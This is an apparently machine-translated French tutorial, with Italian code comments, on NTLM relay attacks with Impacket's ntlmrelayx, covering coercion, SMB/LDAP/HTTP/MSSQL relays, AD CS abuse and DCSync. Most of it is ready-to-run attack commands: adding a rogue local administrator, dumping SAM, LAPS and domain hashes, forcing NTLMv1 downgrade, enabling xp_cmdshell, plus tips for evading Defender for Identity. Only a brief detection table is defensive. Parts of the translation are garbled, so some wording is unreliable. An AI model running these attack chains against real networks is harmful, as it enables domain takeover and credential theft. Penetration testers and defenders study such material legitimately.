ntlmrelayx : Attaque par relais NTLM - Configuration et contournement 2026

Guide complet sur l'attaque par relais NTLM avec ntlmrelayx : coercition (PetitPotam, PrinterBug), relais SMB/LDAP/ADCS (ESC8), RBCD, informations d'identification fantômes et DCSync. Flux de travail d'administration du réseau interne vers le domaine.
- Publié le 2026-06-18
- Temps de lecture : 15 min
ntlmrelayx.py — Guide complet du relais NTLM avec Impacket #
TL; DR:
ntlmrelayx.pyIl intercepte les authentifications NTLM et les retransmet à un service cible sans connaître le mot de passe. Grâce à cette technique de forçage, vous pouvez contraindre un contrôleur de domaine à s'authentifier auprès de vous et accéder à l'administration du domaine en quelques minutes, en exploitant une erreur de configuration et non une faille zero-day.
ntlmrelayx.py fait partie de Impaquet
C'est l'outil le plus complet pour les attaques par relais NTLM. Il ne s'agit pas d'un outil unique, mais d'un système à trois couches. La compréhension de cette architecture distingue ceux qui utilisent ntlmrelayx de manière mécanique de ceux qui comprennent le fonctionnement et les défaillances de chaque relais.
Référence officielle : fortra/impacket — ntlmrelayx.py
MITRE ATT&CK : T1557.001 — Relais d'empoisonnement LLMNR/NBT-NS et SMB
Architecture : ntlmrelayx est composé de 3 éléments. #
┌─────────────────────────────────────────────────┐
│ LAYER 1 — CAPTURE ENGINE │
│ SMB Server │ HTTP Server │ WCF Server │ RAW │
│ (porta 445) (porta 80) (.NET WCF) (6666) │
│ Riceve l'autenticazione NTLM dal victim │
└──────────────────────┬──────────────────────────┘
│
┌──────────────────────▼──────────────────────────┐
│ LAYER 2 — RELAY ENGINE │
│ Inoltra challenge/response NTLM al target │
│ senza mai vedere la password │
│ Implementa CVE-2019-1040 (--remove-mic) │
└──────────────────────┬──────────────────────────┘
│
┌──────────────────────▼──────────────────────────┐
│ LAYER 3 — PROTOCOL HANDLER + ACTIONS │
│ SMB │ LDAP │ LDAPS │ HTTP │ MSSQL │ IMAP │
│ Esegue azioni post-relay specifiche per │
│ protocollo: dump, RBCD, exec, ADCS cert... │
└─────────────────────────────────────────────────┘Le fonctionnement est le suivant : NTLM est un protocole d'authentification par défi-réponse qui ne lie pas l'authentification au canal réseau (sauf pour EPA/liaison de canal). ntlmrelayx capture le flux d'authentification de la couche 1 et le réutilise à l'identique pour une cible différente au niveau de la couche 2. La couche 3 détermine la marche à suivre une fois l'accès obtenu.
Les protocoles cibles — comportement, exigences, impact #
Voici l'élément essentiel à comprendre avant de choisir une cible. Chaque protocole possède ses propres règles concernant les conditions de relais et les actions possibles ensuite.
PME (smb://)
#
Fonctionnement : SMB permet l’établissement de session via NTLM. La signature des messages est optionnelle et désactivée par défaut sur les postes de travail et les serveurs non contrôleurs de domaine. Sans signature, l’authentification relayée est indiscernable d’une authentification légitime.
Pourquoi cela échoue : La signature SMB obligatoire (tous les contrôleurs de domaine par défaut, option de stratégie de groupe) lie NTLM au canal SMB via une signature cryptographique ; le relais serait donc rejeté.
SMB signing OFF → relay funziona → esegui comandi, dumpa SAM, accedi ai file
SMB signing ON → relay rigettato → cambia target| Que pouvez-vous faire | Exigence |
|---|---|
Exécution des commandes (-c) | Administrateur local sur la cible |
| Vidange automatique SAM/LSA | Administrateur local sur la cible |
| accès au partage de fichiers | Tout utilisateur disposant des autorisations de partage |
| Énumération des utilisateurs (non administrateurs) | Tout compte de domaine |
Shell interactif (-i) | Administrateur local (par écriture) |
# SAM dump automatico — il più usato
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
# Esecuzione comando immediata
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
-c "whoami && net localgroup Administrators"
# Aggiunta utente admin locale
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
-c "net user attacker Pass123! /add && net localgroup Administrators attacker /add"
# Shell interattiva → accesso file, upload/download
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i
nc 127.0.0.1 11000 # → smb> shares / ls / get / put
# SOCKS per tool multipli sulla stessa sessione
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
proxychains impacket-secretsdump -no-pass CORP/admin@10.10.10.20LDAP (ldap://)
#
Pourquoi ça fonctionne : LDAP accepte l’authentification NTLM native (LDAP se lie via NTLM). La signature LDAP est configurable ; de nombreux environnements ne l’ont pas imposée pour assurer la compatibilité avec les systèmes existants.
Pourquoi est-ce que ça marche : si la signature LDAP est requise (ldapServerIntegrity = 2Toute opération d'écriture est rejetée. Les opérations de lecture seule/vidage peuvent également fonctionner, une signature étant requise dans certains cas.
LDAP signing OFF → relay funziona → modifica AD, RBCD, dump
LDAP signing ON → solo dump possibile → per write usa LDAPS| Que pouvez-vous faire | Exigence |
|---|---|
| Supprimer la structure des utilisateurs/groupes/AD | Compte authentifié |
| Créer un utilisateur de domaine | Permis suffisants |
| Ajout à la liste des administrateurs de domaine | Privilèges élevés sur le compte relayé |
| Configuration RBCD | Écrire sur msDS-AllowedToActOnBehalfOfOtherIdentity |
| Décharge LAPS | ms-Mcs-AdmPwd lisible |
| Identifiants fantômes | Écrire dans msDS-KeyCredentialLink (et non dans LDAP simple) |
--escalate-user → DEPUIS direct | Écrire sur l'objet racine du domaine (accorder les droits DCSync à l'utilisateur cible) |
# Dump struttura AD + tentativo aggiunta DA (automatico)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support
# Dump LAPS — password admin locali in chiaro
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps
# Dump gMSA
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-gmsa
# Crea computer account (per RBCD manuale successivo)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
--add-computer 'EVIL$' 'EvilPass123!'
# RBCD automatico — --delegate-access crea computer + configura delega
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --delegate-access
# Shadow Credentials — inietta chiave in msDS-KeyCredentialLink
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
--shadow-credentials --shadow-target 'WS01$'
# Escalate utente specifico a Domain Admin (senza creare computer account)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --escalate-user john.doe
# Cross-protocol — SMB in → LDAP out (rimuove MIC)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --remove-mic
# Interactive LDAP shell — comandi diretti su AD
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support -i
nc 127.0.0.1 XXXX # → add_user / add_user_to_group / dump_domain ...LDAPS (ldaps://)
#
Pourquoi ça fonctionne : LDAPS est une version de LDAP utilisant TLS. Il ne présente pas les mêmes problèmes de signature : le chiffrement TLS du canal n’est pas lié cryptographiquement à l’authentification NTLM (sauf si la liaison de canal/CBT est activée). Il autorise toutes les opérations d’écriture bloquées par LDAP signé.
Pourquoi cela échoue : LDAP Channel Binding (CBT) associe l’authentification NTLM au certificat TLS du serveur ; le relais est rejeté car l’attaquant ne possède pas le certificat du contrôleur de domaine. Cette fonctionnalité est activée sur les contrôleurs de domaine modernes ayant reçu les correctifs les plus récents.
LDAPS senza CBT → relay funziona + write complete → RBCD, Shadow Creds, user creation
LDAPS con CBT → relay rigettato → usa HTTP/ADCS| Que pouvez-vous faire | Exigence |
|---|---|
| Tout ce que LDAP permet | + |
| Identifiants fantômes | Écrire sur msDS-KeyCredentialLink |
| Ajouter un compte d'ordinateur | QuotaCompteMachine > 0 |
| RBCD complet | Écrire sur l'objet ordinateur cible |
# RBCD — crea computer + configura delega (poi usa getST)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --delegate-access
# Shadow Credentials su LDAPS (più affidabile che su LDAP plain)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support \
--shadow-credentials --shadow-target 'DC01$'
# Cross-protocol SMB → LDAPS (rimuovi MIC)
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --remove-mic --delegate-access
# Con IPv6/mitm6
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 -smb2support --delegate-accessHTTP / HTTPS (http:// / https://)
#
Pourquoi ça fonctionne : HTTP ne prend pas en charge la signature des messages ; il n’existe aucun mécanisme équivalent pour la signature SMB ou LDAP. Cela signifie que toute authentification NTLM via HTTP peut être relayée, quelle que soit la configuration du domaine. C’est pourquoi ESC8 est si problématique : l’inscription Web AD CS accepte NTLM via HTTP par défaut.
Pourquoi cela échoue : l’EPA (Protection étendue pour l’authentification) sur HTTPS lie le jeton NTLM au canal TLS ; le relais est donc rejeté. Si l’autorité de certification a l’EPA activée, ESC8 ne fonctionnera pas.
HTTP senza EPA → relay SEMPRE possibile → ADCS, Exchange, OWA, web app
HTTP con EPA → relay rigettato| Cible HTTP | Transporteur |
|---|---|
Inscription Web AD CS (/certsrv/) | ESC8 → certifié pour DC$ → DCSync |
| Exchange EWS | Accès à la boîte aux lettres, déplacement latéral |
| OWA (Application Web Outlook) | Accès au courrier électronique |
| IIS avec authentification NTLM | Accès à l'application |
| wpad | Capturez les hachages pendant la navigation |
# ESC8 — relay verso Web Enrollment AD CS
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
# Verifica prima se il CA ha EPA disabilitato
curl -I http://CA_IP/certsrv/
# → "WWW-Authenticate: NTLM" = vulnerabile
# Dopo aver ricevuto il certificato (Base64 nel log):
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
# → ottieni NT hash + TGT del DC01$
# DCSync con il ticket ottenuto
impacket-secretsdump -k -no-pass -just-dc-ntlm \
corp.local/'DC01$'@DC01.corp.localMSSQL (mssql://)
#
Pourquoi ça fonctionne : SQL Server prend en charge l’authentification Windows via NTLM comme méthode héritée. Il n’existe pas d’équivalent de signature pour NTLM comme SMB. Un relais NTLM vers SQL Server est accepté comme une authentification Windows légitime.
Pourquoi cela ne fonctionne pas : Si SQL Server utilise uniquement l’authentification SQL (et non l’authentification Windows), le relais NTLM est inutile. Si le compte relayé ne dispose pas des autorisations nécessaires sur la base de données, l’accès sera limité.
MSSQL con Windows Auth → relay funziona → login SQL
Account relayed = sysadmin → xp_cmdshell → RCE| Que pouvez-vous faire | Exigence |
|---|---|
| Connexion à la base de données | Authentification Windows activée |
| Requête de données | SÉLECTIONNER les autorisations |
xp_cmdshell → RCE | rôle d'administrateur système |
| serveur de fichiers de lecture | BULK INSERT, OPENROWSET |
sudo ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -socks
proxychains -q impacket-mssqlclient -no-pass -windows-auth corp.local/admin@10.10.10.30IMAP / SMTP #
Moins utilisé dans les scénarios Active Directory purs, mais pertinent dans les environnements Exchange sur site.
IMAP relay → accesso mailbox → lettura email, esfiltrazione dati
SMTP relay → invio email → phishing interno da account legittimosudo ntlmrelayx.py -t imap://EXCHANGE_IP -smb2support
sudo ntlmrelayx.py -t smtp://EXCHANGE_IP -smb2supportArbre de décision — ce que vous utilisez en fonction de ce que vous trouvez #
HAI UN'AUTENTICAZIONE NTLM (da Responder/coercizione)?
│
├── Target ha SMB signing OFF?
│ └── SÌ → SMB relay → SAM dump, exec, file access
│ → ntlmrelayx.py -tf relay.txt -smb2support
│
├── Target ha LDAP signing OFF?
│ └── SÌ (write) → LDAP relay → RBCD, dump, user creation
│ → ntlmrelayx.py -t ldap://DC_IP -smb2support
│ └── LDAPS senza CBT → ancora meglio → Shadow Credentials + RBCD
│ → ntlmrelayx.py -t ldaps://DC_IP -smb2support
│
├── AD CS Web Enrollment esposto (ESC8)?
│ └── SÌ → HTTP relay → certificato DC$ → DCSync completo
│ → ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
│
├── AD CS esposto via RPC (ESC11)?
│ └── SÌ + IF_ENFORCEENCRYPTICERTREQUEST=0 → RPC relay → certificato DC$ → DCSync
│ → ntlmrelayx.py -t rpc://CA_IP --adcs --template DomainController -smb2support
│
├── SQL Server con Windows Auth?
│ └── SÌ → MSSQL relay → login → se sysadmin → xp_cmdshell
│ → ntlmrelayx.py -t mssql://SQL_IP -smb2support -socks
│
├── Exchange / OWA esposto?
│ └── SÌ → HTTP relay → accesso mailbox
│
├── Nulla funziona con questa autenticazione?
│ └── Cambia vittima della coercizione
│ → Coerci un account con più privilegi (machine account, service account)
│ → WebDAV coercion per bypassare SMB signing
│ → --remove-mic per cross-protocol relay
│
└── SMB signing ovunque + LDAP signing + no ADCS?
└── mitm6 → LDAPS relay → RBCD → getST → DAÉtape 0 — Vérifier d'abord #
# SMB signing — genera target list direttamente
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay_targets.txt
# "signing:False" → relay target
# Verifica LDAP signing sul DC
nxc ldap 10.10.10.5 -u user -p pass -M ldap-checker
# "LDAP Signing: NOT required" → relay LDAP possibile
# Verifica ESC8 (Web Enrollment senza EPA)
curl -I http://CA_IP/certsrv/
# "WWW-Authenticate: NTLM" → ESC8 vulnerabile
# Verifica WebClient (WebDAV) sulle workstation
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
# Verifica MachineAccountQuota (per RBCD)
nxc ldap 10.10.10.5 -u user -p pass -M maq
# Verifica ESC11 (RPC senza encryption forzata)
certipy find -u user@corp.local -p pass -dc-ip 10.10.10.5 -stdout | grep -i "enforce"
# "Enforce Encryption for Requests: Disabled" → ESC11 vulnerabileÉtape 1 — Capture de l'authentification NTLM #
Intervenant — Intoxication au LLMNR/NBT-NS (passive) #
Réponse
empoisonne les résolutions DNS ayant échoué. Lorsqu'un hôte ne peut pas trouver \\TYPO via DNS, envoie une diffusion LLMNR — Le répondeur répond et capture l'authentification. Vous devez Désactivez SMB et HTTP car ntlmrelayx doit gérer ces ports.
# Configura Responder
sed -i 's/HTTP = On/HTTP = Off/g' /etc/responder/Responder.conf
sed -i 's/SMB = On/SMB = Off/g' /etc/responder/Responder.conf
# Lancia in poisoning mode
sudo responder -I eth0 -rdwv
# Solo ascolto (recon senza poisoning)
sudo responder -I eth0 -Amitm6 — Empoisonnement DHCPv6 #
Windows privilégie IPv6 à IPv4. mitm6 répond aux requêtes DHCPv6 en se déclarant serveur DNS IPv6 et en empoisonnant les résolutions. Cela fonctionne également lorsque LLMNR est désactivé.
pip3 install mitm6
sudo mitm6 -d corp.local -i eth0
# ntlmrelayx deve girare con -6
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 --delegate-access -smb2supportmitm6 n'est pas instantané : Windows renouvelle le DHCP lors d'un redémarrage ou d'événements réseau. Veuillez patienter 5 à 30 minutes.
Rétrogradation NTLMv1 + crack hors ligne #
Si l'environnement prend en charge NTLMv1 (hérité ou mal configuré), les hachages résultants sont cassables avec hashcat en quelques minutes, contrairement à NTLMv2. Responder peut forcer la rétrogradation.
# Forza NTLMv1 in Responder.conf
sed -i 's/Challenge = Random/Challenge = 1122334455667788/g' /etc/responder/Responder.conf
# Lancia con --lm per forzare downgrade
sudo responder -I eth0 -rdwv --lm
# Hash catturato (formato NetNTLMv1):
# USER::DOMAIN:LMResponse:NTResponse:Challenge
# Crack con hashcat (mode 5500 = NetNTLMv1)
hashcat -m 5500 hashes.txt /usr/share/wordlists/rockyou.txt
# Con GPU e rainbow tables → crack quasi istantaneo su crack.sh
# https://crack.sh/ accetta NetNTLMv1 con challenge fisso 1122334455667788Note: NTLMv1 est désactivé par défaut sur les systèmes modernes. Pour identifier les hôtes qui l'acceptent, consultez la clé de registre correspondante.
LmCompatibilityLevel(valeurs 0-2 = NTLMv1 accepté) : nxc smb TARGET -u user -p pass -x « reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LmCompatibilityLevel » Ou consultez le format des hachages capturés par Responder : NetNTLMv1 aLMResponse:NTResponse:ChallengeNetNTLMv2 possèdeNTProofStr:blob.
Étape 2 — Techniques de coercition (authentification forcée) #
La coercition force un hôte spécifique (même le contrôleur de domaine) à s'authentifier auprès de vous sans délai. Elle requiert des identifiants de domaine à privilèges limités.
Bug d'imprimante / Exemple de spool (MS-RPRN) #
Exploitation abusive du spouleur d'impression. La victime renvoie à l'attaquant les informations de son compte machine. Nécessite l'activation du spouleur d'impression.
python3 printerbug.py corp.local/user:Password123@10.10.10.5 10.10.14.1
# 10.10.10.5 = host da coercere (es. DC)
# 10.10.14.1 = IP attaccante
# Verifica se Print Spooler è attivo
nxc smb 10.10.10.5 -u user -p pass -M spoolerPetitPotam (MS-EFSR) #
Il exploite le système de fichiers chiffré EFS. La version authentifiée fonctionne même après l'application du correctif.
# Autenticata (funziona post-CVE-2022-26925)
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Unauthenticated (solo sistemi non patchati)
python3 PetitPotam.py 10.10.14.1 10.10.10.5
# WebDAV variant — esce via HTTP invece di SMB (bypassa SMB signing!)
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER@80/test 10.10.10.5DFSCoerce (MS-DFSNM) #
Non patché — fonctionne sur les systèmes à jour.
python3 dfscoerce.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5ShadowCoerce (MS-FSRVP) #
python3 shadowcoerce.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5Coercer — regroupe toutes les méthodes #
Coercer teste automatiquement plus de 12 méthodes et utilise celle qui fonctionne.
pip3 install coercer
# Scan — verifica senza coercere
python3 Coercer.py scan -t 10.10.10.5 -u user -p Password123 -d corp.local -v
# Coerce con tutti i metodi
python3 Coercer.py coerce -t 10.10.10.5 -l 10.10.14.1 \
-u user -p Password123 -d corp.local --always-continueLa contrainte WebDAV contourne la signature SMB #
Si WebClient est activé, la conversion s'effectue via HTTP (port 80) au lieu de SMB. Le protocole HTTP n'étant pas signé, il peut être relayé même lorsque la signature SMB est requise partout.
# Verifica WebClient
nxc smb 10.10.10.0/24 -u user -p pass -M webdav
# ntlmrelayx ascolta su HTTP
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access --http-port 80 -smb2support
# Coercione verso HTTP (WebDAV)
python3 PetitPotam.py -u user -p pass -d corp.local ATTACKER@80/test WS01_IPWPAD + mitm6 — Authentification par proxy forcée #
mitm6 se déclare comme serveur DNS IPv6. Les machines Windows recherchent la configuration du proxy via WPAD (Web Proxy Auto-Discovery) et envoient une requête HTTP authentifiée NTLM à l'attaquant. Son fonctionnement est passif, sans coercition active.
# Terminal 1 — mitm6 avvelena DNS IPv6
sudo mitm6 -d corp.local -i eth0
# Terminal 2 — ntlmrelayx con WPAD + relay LDAPS
sudo ntlmrelayx.py -6 -t ldaps://10.10.10.5 --delegate-access -smb2support \
--wpad-host 10.10.14.1 --wpad-auth-num 1
# Quando una macchina richiede wpad.dat → autenticazione NTLM → relay
# --wpad-host = IP dell'attaccante che serve il file WPAD
# --wpad-auth-num 1 = forza autenticazione NTLM prima di servire il WPADLa combinaison mitm6 + WPAD cible toutes les machines qui ouvrent le navigateur sur le réseau ; inutile d’attendre des erreurs de nom ou une forçage manuel.
Options globales ntlmrelayx #
| Option | Description |
|---|---|
-t TARGET | Cible unique |
-tf FILE | Fichier contenant la liste cible |
-smb2support | Mettez-le toujours sur — activer SMB2 |
-6 | Prise en charge d'IPv6 (pour mitm6) |
-i | Interface interactive → accessible via nc |
-socks | Maintenir la session ouverte pour proxychains |
-c COMANDO | Exécuter la commande sur le relais SMB |
-e FILE | Téléverser et exécuter des fichiers sur la cible |
--remove-mic | Suppression du MIC (CVE-2019-1040) — pour relais inter-protocoles |
--no-dump | Ne pas effectuer de vidage SAM automatique |
--no-da | N'essayez pas d'ajouter des administrateurs de domaine. |
--no-acl | Ne modifiez pas la liste de contrôle d'accès (ACL). |
-w | Surveillez les fichiers cibles pour les mises à jour en direct |
--http-port PORT | port d'écoute HTTP |
--no-http-server | Désactiver le serveur HTTP |
--no-smb-server | Désactiver le serveur SMB |
--escalate-user USER | Élever les droits d'un utilisateur existant au rang d'administrateur de domaine via LDAP |
Scénario 1 — Relais SMB → Vidage SAM + exécution #
# SAM dump automatico su tutti i target
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support
# Con exec
sudo ntlmrelayx.py -t smb://10.10.10.20 -smb2support \
-c "net user attacker Pass123! /add && net localgroup Administrators attacker /add"
# Interactive shell
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -i
# → nc 127.0.0.1 11000Que faire des hachages SAM ? #
nxc smb 10.10.10.0/24 -u Administrator -H NThash --local-auth
impacket-secretsdump corp.local/administrator:pass@10.10.10.20Scénario 2 — Mode SOCKS → accès persistant #
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -socks
# Lista sessioni attive
ntlmrelayx> socks
# Via proxychains — usa qualsiasi tool come se fossi autenticato
echo "socks4 127.0.0.1 1080" >> /etc/proxychains4.conf
proxychains -q impacket-secretsdump -no-pass CORP/admin@TARGET
proxychains -q nxc smb TARGET -u admin -p '' --no-bruteforceScénario 3 — Relais LDAP → RBCD → Administration du domaine #
# Step 1 — relay LDAPS con --delegate-access
# Usa -6 se catturi con mitm6; omettilo se usi solo coercizione
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access -smb2support
# Step 2a — mitm6 (passivo, cattura DHCP IPv6)
sudo mitm6 -d corp.local -i eth0
# Oppure: Step 2b — coercizione diretta (aggiungere -6 al comando sopra se usi mitm6)
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Quando WS01$ autentica:
# [*] Adding new computer: XEWRIYIH$ with password: Rand0mP@ss!
# [*] Delegating to WS01$ via msDS-AllowedToActOnBehalfOfOtherIdentity
# Step 3 — getST e accesso come Administrator
impacket-getST -spn cifs/WS01.corp.local -impersonate Administrator \
-dc-ip 10.10.10.5 corp.local/'XEWRIYIH$':'Rand0mP@ss!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@WS01.corp.localFlux complet dans RBCD et getST.py.
Scénario 4 — Relais LDAPS → Informations d'identification fantômes #
Plus furtif que RBCD — ne crée pas de comptes informatiques.
sudo ntlmrelayx.py -t ldaps://10.10.10.5 \
--shadow-credentials --shadow-target 'WS01$' \
--pfx-password 'CertPass123' --export-type PEM \
--cert-outfile-path /tmp/ws01_shadow -smb2support
# Metodo 1 — PKINITtools
python3 gettgtpkinit.py -cert-pfx /tmp/ws01_shadow.pfx -pfx-pass 'CertPass123' \
corp.local/'WS01$' /tmp/ws01.ccache
KRB5CCNAME=/tmp/ws01.ccache python3 getnthash.py -key AS_REP_KEY corp.local/'WS01$'
nxc smb WS01.corp.local -u 'WS01$' -H NThash
# Metodo 2 — certipy (più semplice)
certipy auth -pfx /tmp/ws01_shadow.pfx -dc-ip 10.10.10.5 -username 'WS01$' -domain corp.local
# → restituisce direttamente NT hash + TGTDétails dans Shadow Credentials.
Scénario 5 — Relais LDAP → Exportation des informations LAPS / gMSA / ADCS #
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-laps
# Hostname | AdmPwd
# WS01.corp.local | R@nd0mL@ps!
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-gmsa
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --dump-adcs # template ESC info
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --add-computer 'EVIL$' 'EvilPass123!'Scénario 6 — Relais HTTP → ESC8 (AD CS) → DCSync #
Ce scénario ne dépend pas de la signature SMB ni de la signature LDAP — HTTP n'a pas de signature, il fonctionne toujours si EPA n'est pas activé sur l'autorité de certification.
# Step 1 — Verifica
curl -I http://CA_IP/certsrv/
# WWW-Authenticate: NTLM → vulnerabile
# Step 2 — ntlmrelayx verso Web Enrollment
sudo ntlmrelayx.py -t http://CA_IP/certsrv/certfnsh.asp \
--adcs --template DomainController -smb2support
# Step 3 — Coerci il DC verso l'attaccante
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Quando arriva autenticazione DC01$:
# [*] Certificate successfully requested
# [*] Base64 certificate of user DC01$: MIIRLAIBAz...
# Step 4 — Autenticati come DC01$ e DCSync
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
# → NT hash di DC01$
KRB5CCNAME=dc01.ccache impacket-secretsdump -k -no-pass \
-just-dc-ntlm corp.local/'DC01$'@DC01.corp.localChemin ADCS complet dans ADCS ESC1-ESC16.
Scénario 6b — Relais RPC → ESC11 (AD CS via ICPR) #
ESC11 est l'alternative à ESC8 lors de l'inscription en ligne (/certsrv/Ce système n'est pas exposé et son EPA n'est pas activé. Il utilise le protocole RPC ADCS natif (MS-ICPR) — et non HTTP — pour demander des certificats. Il ne dispose d'aucun mécanisme de signature équivalent à SMB.
Prérequis : L'autorité californienne a le drapeau IF_ENFORCEENCRYPTICERTREQUEST Non défini (valeur 0). Vérifiable avec certipy ou l'interface graphique de l'autorité de certification.
# Verifica flag ESC11 sul CA
certipy find -u user@corp.local -p Password123 -dc-ip 10.10.10.5 -stdout | grep -i "enforce"
# "Enforce Encryption for Requests: Disabled" → vulnerabile
# ntlmrelayx verso RPC del CA
sudo ntlmrelayx.py -t rpc://CA_IP -smb2support \
--adcs --template DomainController
# Coerci il DC verso l'attaccante
python3 PetitPotam.py -u user -p Password123 -d corp.local 10.10.14.1 10.10.10.5
# Il flow post-relay è identico a ESC8:
certipy auth -pfx dc01.pfx -dc-ip 10.10.10.5
impacket-secretsdump -k -no-pass -just-dc-ntlm corp.local/'DC01$'@DC01.corp.localESC11 contourne la protection de l'EPA qui bloque ESC8 — si vous trouvez un CA proposant les deux services, essayez d'abord ESC11.
Scénario 7 — Relais MSSQL → xp_cmdshell #
sudo ntlmrelayx.py -t mssql://10.10.10.30 -smb2support -socks
proxychains -q impacket-mssqlclient -no-pass -windows-auth corp.local/admin@10.10.10.30
SQL> EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
SQL> EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
SQL> EXEC xp_cmdshell 'whoami';Approfondissement dans le port 1433 MSSQL.
Scénario 8 — Relais interprotocole avec --remove-mic
#
Lorsque la signature SMB est requise mais pas la signature LDAP, utilisez --remove-mic supprimer MIC de l'authentification NTLM et le relayer entre protocoles.
# SMB → LDAP (rimuove MIC per aggirare protezione cross-protocol)
sudo ntlmrelayx.py -t ldap://10.10.10.5 -smb2support --remove-mic
# SMB → LDAPS
sudo ntlmrelayx.py -t ldaps://10.10.10.5 -smb2support --remove-mic
# Utile anche con NTLMv1 (che non ha MIC nativamente)Scénario 9 — Multi-relais (-tf) #
nxc smb 10.10.10.0/24 --gen-relay-list /tmp/relay.txt
sudo ntlmrelayx.py -tf /tmp/relay.txt -smb2support -w
# Un'unica autenticazione → relay contemporaneo su TUTTI i target
# -w aggiorna la lista liveScénario 10 — Signature SMB généralisée → Relais WebDAV → LDAPS #
Lorsque la signature SMB est requise à l'échelle du réseau et que la signature LDAP bloque les écritures, WebDAV sert de solution de contournement. Si WebClient est exécuté sur un poste de travail, la conversion s'effectue via HTTP (port 80) au lieu de SMB, et HTTP n'est pas signé.
# Step 1 — verifica WebClient attivo sulle workstation
nxc smb 10.10.10.0/24 -u user -p Password123 -M webdav
# "WebClient: True" → target usabile per coercizione WebDAV
# Step 2 — ntlmrelayx in ascolto su HTTP porta 80
sudo ntlmrelayx.py -t ldaps://10.10.10.5 --delegate-access \
--http-port 80 -smb2support
# Step 3 — coercizione WebDAV su una workstation con WebClient attivo
# Il formato ATTACKER@80/path forza l'uscita via HTTP/WebDAV
python3 PetitPotam.py -u user -p Password123 -d corp.local \
10.10.14.1@80/test WS01_IP
# Alternativa con printerbug verso workstation (non DC)
python3 printerbug.py corp.local/user:Password123@WS01_IP 10.10.14.1@80/test
# Step 4 — WS01$ autentica su HTTP → relay LDAPS → RBCD su WS01$
# [*] Adding new computer: XEWRIYIH$ with password: Rand0mP@ss!
# [*] Delegating to WS01$ via msDS-AllowedToActOnBehalfOfOtherIdentity
# Step 5 — getST → accesso come Administrator su WS01
impacket-getST -spn cifs/WS01.corp.local -impersonate Administrator \
-dc-ip 10.10.10.5 corp.local/'XEWRIYIH$':'Rand0mP@ss!'
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@WS01.corp.localCe flux fonctionne également lorsque la signature SMB est requise sur toutes les cibles ; c’est la méthode à utiliser lorsque toutes les autres routes sont bloquées.
Limitations et solutions de contournement #
| Protection | Qu'est-ce qui bloque ? | Solution |
|---|---|---|
| Signature SMB requise | Relais SMB | Relais sur LDAP/HTTP/MSSQL ; coercition WebDAV |
| Signature LDAP requise | Relais d'écriture LDAP | Utilisez LDAPS ; --remove-mic protocole inter-protocole |
| Liaison de canal LDAPS (CBT) | Relais LDAPS | Relais HTTP/ADCS ; très difficile à contourner |
| EPA sur AD CS | Relais ESC8 | ESC11 (relais RPC) si ICPR n'a pas de chiffrement forcé |
| SI_ENFORCEENCRYPTICERTREQUEST=1 | Relais ESC11 | Utilisez ESC8 si l'inscription en ligne est disponible. |
| LLMNR/NBT-NS désactivé | Répondeur passif | mitm6 + coercition active |
| PetitPotam a corrigé (anonyme) | coercition anonyme EFS | Version authentifiée ; Bug d'imprimante ; DFSCoerce |
| Spouleur d'impression désactivé | Bug d'imprimante | DFSCoerce; Authentifié par PetitPotam; Coercer |
| Microsoft Defender pour l'identité | Détection du relais + coercition | Réduisez la vitesse ; utilisez les sessions existantes |
Détection #
| Technique | ID d'événement | Indicateurs |
|---|---|---|
| Intoxication LLMNR | 4648 | Connexion explicite à une adresse IP inhabituelle |
| Relais PME | 4624 Type 3 | Connexion réseau depuis l'adresse IP de l'attaquant |
| Relais LDAP | 4662 | Modifier msDS-AllowedToActOnBehalfOf, msDS-KeyCredentialLink |
| PetitPotam / PrinterBug | 4769 | Le compte machine s'authentifie auprès d'une adresse IP hors contrôleur de domaine. |
